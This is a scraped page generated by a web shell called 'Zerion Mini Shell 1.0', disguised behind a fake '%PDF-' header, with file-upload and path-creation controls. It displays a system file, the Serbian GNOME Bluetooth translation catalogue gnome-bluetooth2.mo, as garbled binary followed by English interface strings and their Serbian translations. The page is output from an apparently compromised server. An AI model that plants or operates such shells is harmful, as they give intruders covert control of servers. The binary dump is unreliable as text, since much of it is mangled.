%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/sr/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/sr/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F�/�/�?)Ki����dq����4��..HwG���3�83l{4�(���n}�
��%���
*,7	dn<�,���A~����
��
�
��,��,43h�(���s�E[3�}��S # (9 *b >� � � � A
!YO!O�!!�!5"Q"'e"�"�"!�"�"�"�"
�"##�1#,$;$&@$8g$�$
�$�$(�$;�$9%
F%T%o%�% �%{�%�:&��&!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: gnome-bluetooth
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2020-12-17 17:48+0100
Last-Translator: Ђорђе Манчић <djordjemancic@outlook.com>
Language-Team: српски <gnome-sr@googlegroups.org>
Language: sr
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=4; plural=n==1? 3 : n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2
X-Project-Style: gnome
X-Generator: Gtranslator 3.38.0
%'d сат%'d сата%'d сати%'d сат%'d минут%'d минута%'d минута%'d минут%'d секунда%'d секунде%'d секунди%'d секунда%d B/s%d kB/s%u пренос је завршен%u преноса су завршена%u преноса је завршеноЈедан пренос је завршенАДРЕСАПрихватиАдресаСве категоријеСве врстеОдобриДошло је до непознате грешкеЗвучни уређајПренос датотека блутутомЗахтев упаривања БлутутаПренос БлутутомБлутут пренос датотеке са уређаја „%s“ФотоапаратОткажиИзаберите датотеке за слањеКликните да изаберете уређај…РачунарПотврдиПотврдите блутут повезивањеПотврдите ПИН блутутаПотврдите ПИН блутута за „%s“. Ово обично можете наћи у упутству уређаја.ПовезанПовезујем се…ВезаОдбијУређај_Категорија уређаја:_Врста уређаја:УређајиНеповезанОдбациПриказПријем датотеке завршенШаље:СлушалицеСлушалице и други звучни уређајиСлушалице са микрофономУколико уклоните уређај, мораћете поново да га подесите пре следећег коришћења.Улазни уређаји (миш, тастатура, итд.)ЏојстикТастатураПроверите да ли је удаљени уређај укључен и да ли је подешен тако да прихвата везе преко БлутутаМодемМишНАЗИВМрежаНеНема доступних адаптераНије подешеноНеупарени или поверљивиОтвори припадајућу фасциклуОтвори датотекуУпарениУпарени или поверљивиУпарујем „%s“ТелефонПотврдите да се следећи ПИН поклапа са оним приказаним на „%s“.Потврдите ПИН који је исписан на „%s“.Унесите следећи ПИН на „%s“.Унесите следећи ПИН на „%s“. Затим притисните „Унеси“ на тастатури.Померајте џојстик вашег иКејда (iCade) су следећим правцима. Затим притисните неко од белих дугмади.ШтампачДаљинско управљањеЖељени удаљени уређајНазив удаљеног уређајаДа уклоним „%s“ са списка уређаја?ПрегледачТражим уређаје…ИзабериИзаберите уређај на који да пошаљемИзаберите категорију уређаја за сужавање спискаИзаберите врсту уређаја за сужавање спискаПошаљи _датотеке…Шаљем датотеке преко БлутутаШаљем „%s“Шаљем %d. датотеку од %dПрикажи:ТаблетДошло је до грешкеПрима:СправаОд поверењаВрстаНепознатоВидео уређајУређај је видљив као „%s“ и спреман за преносе датотека преко блутута. Пренешене датотеке ће бити смештене у фасцикли <a href="%s">Преузето</a>.УгрејивДаПримили сте датотекуПримили сте „%s“ преко блутута[ДАТОТЕКА…]_Откажи_ЗатвориПодешавања _тастатуреПодешавања _миша и додирне таблеУ _реду_Уклони_Уклони уређај_Пробај поновоПошаљи _наПодешавања _звукаприближно %'d сатприближно %'d сатаприближно %'d сатиприближно %'d сат„%s“ жели да се повеже са овим уређајем. Да ли желите да допустите повезивање?„%s“ жели да се упари са овим уређајем. Да ли желите да допустите упаривање?

Zerion Mini Shell 1.0